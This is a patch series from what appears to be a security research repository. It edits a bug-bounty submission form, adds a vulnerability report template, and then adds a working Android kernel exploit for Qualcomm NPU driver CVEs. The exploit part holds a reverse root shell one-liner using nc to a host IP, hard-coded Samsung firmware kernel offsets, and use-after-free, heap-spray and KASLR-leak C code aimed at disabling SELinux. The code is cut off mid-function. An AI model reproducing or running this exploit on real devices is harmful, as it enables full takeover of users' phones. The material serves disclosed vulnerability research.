+      label: Language
+      description: What programming language is your query written for?
+      options:
+        - Java
+        - Javascript
+        - GoLang
+        - Python
+        - C/C++
+        - C#
+    validations:
+      required: true
+  - type: input
+    id: cwe
+    attributes:
+      label: CWE
+      description: CWE that best fits the vulnerability class modeled with your query
+      placeholder: ex. CWE-502: Deserialization of Untrusted Data
+    validations:
+      required: false
+  - type: textarea
+    id: cve_ids
+    attributes:
+      label: CVE(s) ID list
+      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).
+      placeholder: |
+        ex.
+        - CVE-20nn-xxxx
+        - CVE-20nn-yyyy
+    validations:
+      required: true
+  - type: textarea
+    id: report
+    attributes:
+      label: Report
+      description: Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.
+    validations:
+      required: true
+  - type: checkboxes
+    id: publish
+    attributes:
+      options:
+        - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
+  - type: textarea
+    id: results
+    attributes:
+      label: Result(s)
+      description: Provide at least one useful result found by your query, on some revision of a real project. One bullet for each distinct result.
+      placeholder: |
+        ex.
+        - [project1](url1)
+        - [project2](url2)
+    validations:
+      required: true

From 2d1da11d21babc65e06d57bda4d99503188a6ffe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Mon, 8 Nov 2021 11:47:20 +0100
Subject: [PATCH 061/104] Update form

---
 .github/ISSUE_TEMPLATE/all-for-one.md | 42 +++++++++++++++------------
 1 file changed, 24 insertions(+), 18 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md
index a4379ac..6fde3ce 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.md
+++ b/.github/ISSUE_TEMPLATE/all-for-one.md
@@ -45,37 +45,43 @@ body:
       placeholder: ex. CWE-502: Deserialization of Untrusted Data
     validations:
       required: false
-  - type: textarea
-    id: cve_ids
-    attributes:
-      label: CVE(s) ID list
-      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).
-      placeholder: |
-        ex.
-        - CVE-20nn-xxxx
-        - CVE-20nn-yyyy
-    validations:
-      required: true
   - type: textarea
     id: report
     attributes:
       label: Report
       description: Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.
+      placeholder: |
+        1. What is the vulnerability?
+        2. How does the vulnerability work?
+        3. What strategy do you use in your query to find the vulnerability?
+        4. How have you reduced the number of **false positives**?
+        5. Other information?
     validations:
       required: true
   - type: checkboxes
-    id: publish
+    id: social 
+    label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
+    validations:
+      required: true
     attributes:
       options:
-        - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
+        - Yes
+        - No
+  - type: input
+    id: social_url
+    attributes:
+      label: Blog post link
+      description: If you have already blogged about your query, please provide a link.
+    validations:
+      required: false
   - type: textarea
-    id: results
+    id: cve_ids
     attributes:
-      label: Result(s)
-      description: Provide at least one useful result found by your query, on some revision of a real project. One bullet for each distinct result.
+      label: CVE(s) ID list
+      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result)
       placeholder: |
         ex.
-        - [project1](url1)
-        - [project2](url2)
+        - [CVE-20nn-xxxx](<relevant URL>)
+        - [CVE-20nn-yyyy](<relevant URL>)
     validations:
       required: true

From b49660014ad584440835776bbec0732ab0ee4670 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Mon, 8 Nov 2021 13:46:18 +0100
Subject: [PATCH 062/104] rename file

---
 .github/ISSUE_TEMPLATE/{all-for-one.md => all-for-one.yml} | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename .github/ISSUE_TEMPLATE/{all-for-one.md => all-for-one.yml} (100%)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.yml
similarity index 100%
rename from .github/ISSUE_TEMPLATE/all-for-one.md
rename to .github/ISSUE_TEMPLATE/all-for-one.yml

From 0ab62198b195bce5695fe6cc66cfaa28035eb94e Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 8 Nov 2021 23:07:19 +0000
Subject: [PATCH 063/104] add .venv to .gitignore

---
 .gitignore | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.gitignore b/.gitignore
index 7ec7c55..f24a076 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,6 +3,7 @@
 /.metadata/
 .vscode
 .cache
+.venv
 
 # Ignore any generated TypeScript -> JavaScript files
 .github/actions/replicate-issue/*.js

From 13d0295147af38f4e12f78088d20118df76d5b20 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 8 Nov 2021 23:07:38 +0000
Subject: [PATCH 064/104] Create vuln report template

---
 docs/report-template.md | 57 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 docs/report-template.md

diff --git a/docs/report-template.md b/docs/report-template.md
new file mode 100644
index 0000000..495ea06
--- /dev/null
+++ b/docs/report-template.md
@@ -0,0 +1,57 @@
+*This vulnerability report template is offered to you by the GitHub Security Lab. Use it as an inspiration for your own reports. Reporting a vulnerability using this template does not imply that this report has been acknowledged by the GitHub Security Lab. Remove this first section and any mention of the GitHub Security Lab when you use this template.* 
+
+# Vulnerability Report
+
+I identified potential security vulnerabilities in [product].
+
+I am committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues.
+
+If at any point you have concerns or questions about this process, please do not hesitate to reach out to me at [email].
+
+If you are _NOT_ the correct point of contact for this report, please let me know!
+
+## Summary
+
+*Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.*
+
+## Product
+
+[product]
+
+## Tested Version
+
+[version]
+
+## Details
+
+*Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.*
+
+## PoC
+
+*Complete instructions, including specific configuration details, to reproduce the vulnerability*
+
+## Impact
+
+[impact]
+
+## Remediation
+
+*Propose a remediation suggestion if you have one. Make it clear that this is just a suggestion, as the maintainer might have a better idea to fix the issue.*
+
+## GitHub Security Advisories
+
+We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. 
+When you use a GitHub Security Advisory, you can request a CVE identification number from GitHub. GitHub usually reviews the request within 72 hours, and the CVE details will be published after you make your security advisory public. Publishing a GitHub Security Advisory and a CVE will help notify the downstream consumers of your project, so they can update to the fixed version.
+
+## Credit
+
+*List all researchers who contributed to this disclosure.*
+*Mention if you found the vulnerability with a specific tool.*
+
+## Contact
+
+[contact]
+
+## Disclosure Policy
+
+*Describe or link to your disclosure policy.*
\ No newline at end of file

From 62e1aa2a74d26c0b61767b9c5dcec9b12860bdf4 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 9 Nov 2021 14:36:45 +0000
Subject: [PATCH 065/104] Add NPU exploit

---
 .../Android/Qualcomm/NPU/README.md            |  91 +++
 .../Android/Qualcomm/NPU/bpf_tools.h          | 142 +++++
 .../Android/Qualcomm/NPU/npu_shell.c          | 527 ++++++++++++++++++
 .../Android/Qualcomm/NPU/npu_shell.h          | 381 +++++++++++++
 .../Android/Qualcomm/NPU/sendmsg_spray.c      | 193 +++++++
 .../Android/Qualcomm/NPU/sendmsg_spray.h      |  27 +
 6 files changed, 1361 insertions(+)
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/README.md
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/npu_shell.c
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/npu_shell.h
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c
 create mode 100644 SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h

diff --git a/SecurityExploits/Android/Qualcomm/NPU/README.md b/SecurityExploits/Android/Qualcomm/NPU/README.md
new file mode 100644
index 0000000..e75b93c
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/README.md
@@ -0,0 +1,91 @@
+## Exploit for Qualcomm NPU bugs (CVE-2021-1940, CVE-2021-1968, CVE-2021-1969)
+
+The write up can be found [here](https://securitylab.github.com/research/qualcomm_npu). These are bugs in the Qualcomm NPU driver I reported between November 2020 and December 2020. The GitHub Advisories for these bugs are: [CVE-2021-1940/GHSL-2021-1029](https://securitylab.github.com/advisories/GHSL-2021-1029-npu/), [CVE-2021-1968/GHSL-2021-1030](https://securitylab.github.com/advisories/GHSL-2021-1030-npu/) and [CVE-2021-1969/GHSL-2021-1031](https://securitylab.github.com/advisories/GHSL-2021-1031-npu/). These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux.
+
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the `FAST_CPU` macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either `-O2` or `-O3` level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O3 npu_shell.c sendmsg_spray.c -o npu_shell
+```
+
+The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port `4446`:
+
+```
+#!/bin/bash
+
+while [ 1 ];
+do
+  echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc <HOST_IP> 4445 1> /data/local/tmp/1" | nc -l -p 4446;
+done
+```
+
+With `<HOST_IP>` replaced by the IP address of the host machine. The `HOST_IP` macro in `npu_shell.c` also needs to be replaced.
+
+The reason for this extra step is because `nc` on Android does not support the `-e` flag. (See "Popping a (reverse) shell" in [MMS Exploit Part 5: Defeating Android ASLR, Getting RCE](https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-5-defeating-aslr-getting-rce.html) of Mateusz Jurczyk and also the [reference](https://www.keuperict.nl/posts/security/2017/08/26/netcat-without-e/) quoted in the article) Then listens to port `4445` on the host machine:
+
+```
+$ nc -nlvp 4445
+Listening on 0.0.0.0 4445
+```
+
+To test, cross compile the file `npu_shell.c` and then execute with `adb`:
+
+```
+adb push npu_shell /data/local/tmp
+adb shell
+a71:/ $ /data/local/tmp/npu_shell
+```
+
+The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell:
+
+```
+a71:/ $ /data/local/tmp/npu_sploit
+[+] host_irq_wq offset: ffffff800919d170
+a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 4 reallocation threads ready!
+[+] trigger uaf
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+[-] failed to overwrite selinux_enforcing
+[+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 4 reallocation threads ready!
+[+] trigger uaf
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+[+] successfully overwritten selinux_enforcing
+```
+
+After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the `nc` server that is listening to port 4445 before doing anything on the target. (The restarting of the `nc` server can probably be automated)
+
+1. Go to the terminal that listens to port 4445 and it should have received a packet:
+```
+$nc -nlvp 4445
+Listening on 0.0.0.0 4445
+Connection received on 12.34.56.78 37532
+
+```
+2. Kill `nc` with `Ctrl C` and then start it again
+```
+^C
+$ nc -nlvp 4445
+Listening on 0.0.0.0 4445
+
+```
+3. Go back to the Android target, press enter to unfreeze, the `nc` terminal should now have a root shell:
+```
+Listening on 0.0.0.0 4445
+Connection received on 12.34.56.78 37566
+/system/bin/sh: can't find tty fd: No such device or address
+/system/bin/sh: warning: won't have full job control
+:/ # id
+uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
+:/ # getenforce
+Permissive
+:/ # 
+```
diff --git a/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h b/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h
new file mode 100644
index 0000000..dcc8973
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h
@@ -0,0 +1,142 @@
+#ifndef BPF_TOOLS_H
+#define BPF_TOOLS_H
+
+#include <linux/bpf.h>
+
+#define BPF_ALU64_REG(OP, DST, SRC)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+#define BPF_ALU64_IMM(OP, DST, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_MOV64_REG(DST, SRC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+#define BPF_MOV64_IMM(DST, IMM)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LD_IMM64(DST, IMM)					\
+	BPF_LD_IMM64_RAW(DST, 0, IMM)
+
+#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = (__u32) (IMM) }),			\
+	((struct bpf_insn) {					\
+		.code  = 0, /* zero is reserved opcode */	\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = ((__u64) (IMM)) >> 32 })
+
+#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE),	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_XADD(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_REG(OP, DST, SRC, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_A(OFF)						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_JA,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+// This check has been added to ensure that function calls are always within the allowed range.
+#define BPF_EMIT_CALL__IMM(FUNC)	({			\
+		uintptr_t __offset = (FUNC) - __bpf_call_base;	\
+		(__s32) __offset;				\
+	})
+
+#define BPF_EMIT_CALL(FUNC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_CALL,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ })
+
+#define BPF_EXIT_INSN()						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_EXIT,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c
new file mode 100644
index 0000000..9afa9cb
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c
@@ -0,0 +1,527 @@
+#include <err.h>
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <sched.h>
+#include <sys/un.h>
+#include <pthread.h>
+#include "npu_shell.h"
+#include "sendmsg_spray.h"
+#include "bpf_tools.h"
+
+#define NB_REALLOC_THREADS 8
+
+#define STATS_BUF_SIZE 16384
+
+#define OBJECT_SIZE 96
+
+#define NB_REALLOC_THREADS 8
+
+#define FAST_CPU 6
+
+#define GFP_KERNEL (0x40 | 0x80 | 0x400000u | 0x1000000u)
+
+//For reverse shell
+#define HOST_IP "12.34.56.78"
+
+//-----------A71 firmware specific offsets---------------
+
+#define BPF_PROG_RUN32 0xffffff80081445c0
+
+#define INIT_TASK 0xffffff800aba9780
+
+#define HOST_IRQ_WQ 0xffffff8008fe5170
+
+#define ION_DMA_BUF_VUNMAP 0xffffff80091c82a0
+
+#define BPF_CALL_BASE 0xffffff8008142ac0
+
+#define SELINUX_ENFORCING 0xffffff800af7cf10
+
+#define DO_TASK_DEAD 0xffffff800806d0b0
+
+#define MEMSET 0xffffff800980a280
+
+#define MEMCMP 0xffffff8009809d7c
+
+#define ARGV_SPLIT 0xffffff800980a968
+
+#define CALL_USERMODEHELPER 0xffffff80080504f0
+
+#define RUN_CMD_ENVP 0xffffff800abbaca8
+
+#define ION_ALLOC_FD 0xffffff80091c69f8
+
+//offsets to dma_buf and ion_buffer, probably fairly firmware independent
+#define PRIV_OFF 152
+#define HEAP_OFF 32
+#define OPS_OFF 56
+#define MAP_OFF 16
+#define UNMAP_OFF 24
+#define CNT_OFF 104
+
+//----------Bpf offsets---------------------------------
+static int bpf_op_offset = 0x000;
+//rw input address
+static int bpf_rw_addr_offset = 0x008;
+//output address
+static int bpf_out_offset = 0x108;
+//arguments offsets
+static int bpf_arg0 = 0x10;
+static int bpf_arg1 = 0x18;
+static int bpf_arg2 = 0x20;
+static int bpf_arg3 = 0x28;
+static int bpf_arg4 = 0x30;
+
+//cmd buffer
+static int cmd_arg = 0x40;
+
+//-----------------------------------------------------
+
+static char g_realloc_data[OBJECT_SIZE] = {0};
+
+static char g_stats_buf[STATS_BUF_SIZE] = {0};
+
+struct network_exec_param {
+  int npu_fd;
+  int ion_alloc_fd;
+  uint64_t npu_phys_addr;
+  uint32_t network_hdl;
+  char stats_buf[256];
+};
+
+static int open_dev(char* name) {
+  int fd = open(name, O_RDONLY);
+  if (fd == -1) {
+    err(1, "cannot open %s\n", name);
+  }
+  return fd;
+}
+
+static int allocate_ion(int ion_fd, size_t len) {
+  struct ion_allocation_data ion_alloc_data;
+
+  ion_alloc_data.len = len;
+  ion_alloc_data.flags = 1;
+  ion_alloc_data.heap_id_mask = ION_HEAP(25);
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+	err(1, "ION_IOC_ALLOC failed\n");
+  }
+  return ion_alloc_data.fd;
+}
+
+static uint64_t npu_map_buf(int npu_fd, int ion_alloc_fd, size_t size) {
+  struct msm_npu_map_buf_ioctl map_param;
+  map_param.buf_ion_hdl = ion_alloc_fd;
+  map_param.size = size;
+  if (ioctl(npu_fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
+	err(1, "NPU_MAP_BUF failed\n");
+  }
+  return map_param.npu_phys_addr;  
+}
+
+static uint32_t npu_load_network(int npu_fd, int ion_alloc_fd, uint64_t npu_phys_addr) {
+  struct msm_npu_load_network_ioctl network_param;
+  network_param.buf_ion_hdl = ion_alloc_fd;
+  network_param.buf_phys_addr = npu_phys_addr;
+  network_param.buf_size = 0x10000;
+  network_param.first_block_size = 0x1000;
+  if (ioctl(npu_fd, MSM_NPU_LOAD_NETWORK, &network_param) < 0) {
+	err(1, "Load network failed\n");
+  }
+  return network_param.network_hdl;
+}
+
+static uint32_t npu_load_network_v2(int npu_fd, int ion_alloc_fd, uint64_t npu_phys_addr) {
+  struct msm_npu_load_network_ioctl_v2 network_param;
+  struct msm_npu_patch_info_v2 patch_info_arr[2];
+
+  for (int i = 0; i < 1; i++) {
+    patch_info_arr[i].value = npu_phys_addr;
+    patch_info_arr[i].chunk_id = i;
+    patch_info_arr[i].instruction_size_in_bytes = 1;
+    patch_info_arr[i].variable_size_in_bits = 8;
+    patch_info_arr[i].shift_value_in_bits = 8;
+    patch_info_arr[i].loc_offset = 0x1000;
+  }
+
+  network_param.buf_ion_hdl = ion_alloc_fd;
+  network_param.buf_phys_addr = npu_phys_addr;
+  network_param.buf_size = 0x4000;
+  network_param.first_block_size = 0x1000;
+  network_param.num_layers = 0;
+  network_param.patch_info_num = 1;
+  network_param.priority = 0;
+  network_param.patch_info = (uint64_t)(&patch_info_arr[0]);
+  if (ioctl(npu_fd, MSM_NPU_LOAD_NETWORK_V2, &network_param) < 0) {
+	err(1, "Load network v2 failed\n");
+  }
+  return network_param.network_hdl;
+}
+
+static void npu_exec_network_v2(struct network_exec_param* network_exec_param, int trigger_uaf) {
+  struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
+  struct msm_npu_patch_buf_info patch_buf_info_arr[2];
+  int npu_fd = network_exec_param->npu_fd;
+
+  for (int i = 0; i < 2; i++) {
+    patch_buf_info_arr[i].buf_id = network_exec_param->npu_phys_addr;
+    patch_buf_info_arr[i].buf_phys_addr = network_exec_param->npu_phys_addr;
+  }
+
+  exec_param_v2.stats_buf_addr = (uint64_t)(&(network_exec_param->stats_buf[0]));
+  exec_param_v2.flags = 0x0e0e | 0x70200;
+  exec_param_v2.async = 1;
+  exec_param_v2.network_hdl = network_exec_param->network_hdl;
+  exec_param_v2.stats_buf_size = 256;
+  exec_param_v2.patch_buf_info_num = 2;
+  exec_param_v2.patch_buf_info = (uint64_t)(&patch_buf_info_arr[0]);
+  if (trigger_uaf) {
+    ioctl(npu_fd, MSM_NPU_EXEC_NETWORK_V2, &(exec_param_v2));
+    close(npu_fd);
+    realloc_NOW();
+  } else {
+    if (ioctl(npu_fd, MSM_NPU_EXEC_NETWORK_V2, &(exec_param_v2)) < 0) {
+	  err(1, "NPU_EXEC_v2 failed\n");
+    }
+  }
+}
+
+static void npu_exec_network(struct network_exec_param* network_exec_param, int trigger_uaf) {
+  struct msm_npu_exec_network_ioctl exec_param;
+  int npu_fd = network_exec_param->npu_fd;
+
+  exec_param.input_layers[0].buf_hdl = network_exec_param->ion_alloc_fd;
+  exec_param.input_layers[0].buf_size = 0x10000;
+  exec_param.input_layers[0].buf_phys_addr = network_exec_param->npu_phys_addr;
+  exec_param.input_layers[0].patch_info.chunk_id = 0;
+  exec_param.input_layers[0].patch_info.instruction_size_in_bytes = 0x16;
+  exec_param.input_layers[0].patch_info.variable_size_in_bits = 0x16;
+  exec_param.input_layers[0].patch_info.loc_offset = 0x10000;
+
+  exec_param.output_layers[0].buf_hdl = network_exec_param->ion_alloc_fd;
+  exec_param.output_layers[0].buf_size = 0x10000;
+  exec_param.output_layers[0].buf_phys_addr = network_exec_param->npu_phys_addr;
+  exec_param.output_layers[0].patch_info.chunk_id = 1;
+  exec_param.output_layers[0].patch_info.instruction_size_in_bytes = 0x16;
+  exec_param.output_layers[0].patch_info.variable_size_in_bits = 0x16;
+  exec_param.output_layers[0].patch_info.loc_offset = 0x10000;
+
+  exec_param.output_layer_num = 1;
+  exec_param.input_layer_num = 1;
+  exec_param.async = 1;
+  exec_param.network_hdl = network_exec_param->network_hdl;
+  exec_param.patching_required = 1;
+  if (trigger_uaf) {
+    ioctl(npu_fd, MSM_NPU_EXEC_NETWORK, &(exec_param));
+    close(npu_fd);
+    realloc_NOW();
+  } else {
+    if (ioctl(npu_fd, MSM_NPU_EXEC_NETWORK, &(exec_param)) < 0) {
+      err(1, "NPU_EXEC failed\n");
+    }
+  }
+}
+
+void npu_unload_network(int npu_fd, uint32_t network_hdl) {
+
+ struct msm_npu_unload_network_ioctl unload_param;
+ unload_param.network_hdl = network_hdl;
+ if (ioctl(npu_fd, MSM_NPU_UNLOAD_NETWORK, &unload_param) < 0) {
+   err(1, "unload network failed\n");
+ }
+}
+
+uint64_t compute_kaslr_offset() {
+  struct network_exec_param network_exec_param;
+  int ion_fd = open_dev("/dev/ion");
+  int npu_fd = open_dev("/dev/msm_npu");
+  int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
+  uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000);
+  uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr);
+
+  network_exec_param.npu_fd = npu_fd;
+  network_exec_param.ion_alloc_fd = ion_alloc_fd;
+  network_exec_param.npu_phys_addr = npu_phys_addr;
+  network_exec_param.network_hdl = network_hdl;
+
+  npu_exec_network_v2(&network_exec_param, 0);
+  usleep(10000);
+  struct msm_npu_event event = {0};
+  uint64_t* data64 = (uint64_t*)(&event.u.data[0]);
+  if (ioctl(npu_fd, MSM_NPU_RECEIVE_EVENT, &event) < 0) {
+	err(1, "NPU_RECEIVE_EVENT failed\n");
+  }
+  uint64_t* data = (uint64_t*)(&event.u.data[4]);
+  uint64_t host_irq_wq_offset = data[10];
+  close(npu_fd);
+  close(ion_fd);
+  return host_irq_wq_offset;
+}
+
+uint64_t leak_and_populate_controlled_buffer(uint64_t host_irq_wq_offset) {
+  struct network_exec_param network_exec_param;
+  struct realloc_thread_arg rta[4];
+
+  int ion_fd = open_dev("/dev/ion");
+
+  migrate_to_cpu(FAST_CPU);
+
+  int npu_fd = open_dev("/dev/msm_npu");
+  int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
+  uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000);
+  uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr);
+
+  network_exec_param.npu_fd = npu_fd;
+  network_exec_param.ion_alloc_fd = ion_alloc_fd;
+  network_exec_param.npu_phys_addr = npu_phys_addr;
+  network_exec_param.network_hdl = network_hdl;
+
+  npu_exec_network_v2(&network_exec_param, 0);
+  usleep(10000);
+  struct msm_npu_event event = {0};
+  uint64_t* data64 = (uint64_t*)(&event.u.data[0]);
+  if (ioctl(npu_fd, MSM_NPU_RECEIVE_EVENT, &event) < 0) {
+	err(1, "NPU_RECEIVE_EVENT failed\n");
+  }
+  uint64_t* stats64 = (uint64_t*)(&(network_exec_param.stats_buf[0]));
+  printf("[+] network_stats_buf (controlled data) address: 0x%lx\n", stats64[0]);
+  uint64_t network_buf_address = stats64[0];
+  memset(rta, 0, sizeof(rta));
+  for (int i = 0; i < 4; i++) {
+    rta[i].realloc_data = &(g_stats_buf[0]);
+    rta[i].object_size = STATS_BUF_SIZE;
+    rta[i].cpu = FAST_CPU;
+  }
+
+  uint64_t bpf_data_address = network_buf_address + 0x3000;
+  uint64_t __bpf_call_base = host_irq_wq_offset - HOST_IRQ_WQ + BPF_CALL_BASE;
